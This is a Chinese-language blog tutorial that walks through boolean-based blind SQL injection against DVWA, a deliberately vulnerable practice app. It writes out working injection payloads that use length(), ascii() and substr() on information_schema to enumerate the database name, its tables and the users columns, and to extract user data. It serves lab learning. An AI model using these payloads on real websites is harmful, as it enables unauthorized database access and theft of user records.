通过对dvwa进行数据库盲注获取信息

Ascii值常用的(33!-126~)查询数据库的长度1' and length(database())>10 #


 1' and length(database())=1#


通过burp suit捉包来获取数据库长度可以看到数据库长度为4


 


 爆破数据库的名字通过ascii来匹配数据库名,发现数据库名是dvwa1' and ascii(substr(database(),1,1))=100#


 


 爆破dvwa数据库中的表首先查看有几个表可以看到有两个表1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#


 


 


 查看表的长度1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1#添加两个参数,第一个参数代表查询到的表从第几个开始,第二个参数代表表的长度


 


 


 可以看到第一表长度为9,第二个表长度为5


 爆破表名1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=88 #通过查找ascii,可以看到第一个表是guestbook,第二个表是users


 


 爆破users表中的字段数

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #

可以看到users表中共有8列数


 


 获取users表中每个字段的行数1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1))=5 #可以看到第一个字段常为7


 


 爆破users表中的每个字段名1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=5 #通过查看ascii可以看到users表中的第一个字段是user_id,第二字段数first_name


 


 通过修改以下参数可以修改查询的字段,重复上述操作可以得到其余七个字段名


 获取users表中user_id字段的行数1' and (select count(*) from users)=1#


 


 获取users表中first_name字段的第一个数据长度1' and length(substr((select first_name from users limit 0,1),1))=1#


 获取users表中first_name字段的第二个数据名1' and ascii(substr((select first_name from users limit 1,1),1,1))=1#通过查看ascii可以看到其名为Gordon


 


 查询其他字段的信息通过修改以下位置的1来修改查询的字段,其余操作如上

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值